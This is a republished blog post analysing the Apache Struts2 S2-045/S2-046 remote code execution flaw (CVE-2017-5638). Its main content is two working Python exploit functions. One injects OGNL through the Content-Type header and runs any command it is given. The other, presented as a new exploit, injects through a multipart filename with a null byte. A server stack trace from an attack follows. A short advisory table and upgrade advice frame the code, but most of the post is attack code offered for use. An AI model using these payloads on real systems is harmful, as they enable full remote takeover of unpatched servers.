Struts2 S2-045 RCE Vulnerability Analysis & Brand New Exploit

来源:互联网 发布:无标度网络 路径短 编辑:程序博客网 时间:2024/05/01 10:12

这里写图片描述
I haved finished and developped a new exploit poc several days ago, it’s true I didn’t plan to publish this Exploit for S2-046, but I found someone has uncover the veil, so let it go.
https://github.com/WalterJia/Exploits_Sets

Summary

Struts2 S2-045 exploit has been spread in the wild, attacker can exploit it to assault the victim with remote command execution and get the fully controlled privilege of victim.
In this paper, we will introduce a new exploit code not found in the wild, and show how the attacker assault the target, what kind of command being used, what kind of malware spread and so on.

Question Answer other Who should read this all Struts 2 developers, users, security researcher Impact of vulnerability RCE when access any action backend based on Jakarta Multipart parser Maximum security rating Critical Recommendation Upgrade to Struts 2.3.32 or Struts 2.5.10.1 Affected Software Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 CVE Identifier CVE-2017-5638

Exploit
These two exploits below can be used to assault the target with Struts2 vulnerability, the first one is being used and widespread in the wild, the second one is not found yet.
1. Exploit snippet with content-type in the wild

def exploit(url, cmd):    payload = " Content-Type: %{(#_='multipart/form-data')."    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."    payload += "(#_memberAccess?"    payload += "(#_memberAccess=#dm):"    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."    payload += "(#ognlUtil.getExcludedPackageNames().clear())."    payload += "(#ognlUtil.getExcludedClasses().clear())."    payload += "(#context.setMemberAccess(#dm))))."    payload += "(#cmd='%s')." % cmd    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."    payload += "(#ros.flush())}"
  1. Exploit snippet with filename-Brand new exploit

Invalid file name exception will lead that Jakarta handles exception and executes the Ognl.

2017-03-14 21:37:21,249 WARN  [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse requestorg.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
def exploit(url, cmd):    body = "------WebKitFormBoundaryTb12KjLWSQu5ZIP6\r\n" + \            'Content-Disposition: form-data; name="upload"; filename="xxxxxxx\x00%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'mkdir -p /var/xxx\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"\r\n' + \            "Content-Type: application/octet-stream\r\n\r\n" + \            "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n" + \            "------WebKitFormBoundaryTb12KjLWSQu5ZIP6--\r\n"…………………………………

3.Expoit result
After execute the exploit we can see there is directory “xxx” created on the victim, please refer to the picture below.
这里写图片描述

PS

https://cwiki.apache.org/confluence/display/WW/S2-045
https://github.com/rapid7/metasploit-framework/issues/8064

Apache Log for vulnerability 2017-03-14 21:37:21,249 WARN  [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse requestorg.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}    at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]    at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:804) [struts2-core-2.5.10.jar:2.5.10]    at org.apache.struts2.dispatcher.PrepareOperations.wrapRequest(PrepareOperations.java:148) [struts2-core-2.5.10.jar:2.5.10]    at org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:91) [struts2-core-2.5.10.jar:2.5.10]    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) [catalina.jar:7.0.65]    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) [catalina.jar:7.0.65]    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) [catalina.jar:7.0.65]    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) [catalina.jar:7.0.65]    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505) [catalina.jar:7.0.65]    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:170) [catalina.jar:7.0.65]    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) [catalina.jar:7.0.65]    at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956) [catalina.jar:7.0.65]    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) [catalina.jar:7.0.65]    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:423) [catalina.jar:7.0.65]    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1079) [tomcat-coyote.jar:7.0.65]    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625) [tomcat-coyote.jar:7.0.65]    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316) [tomcat-coyote.jar:7.0.65]    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [?:1.7.0_75]    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [?:1.7.0_75]    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-coyote.jar:7.0.65]    at java.lang.Thread.run(Thread.java:745) [?:1.7.0_75]
0 0
原创粉丝点击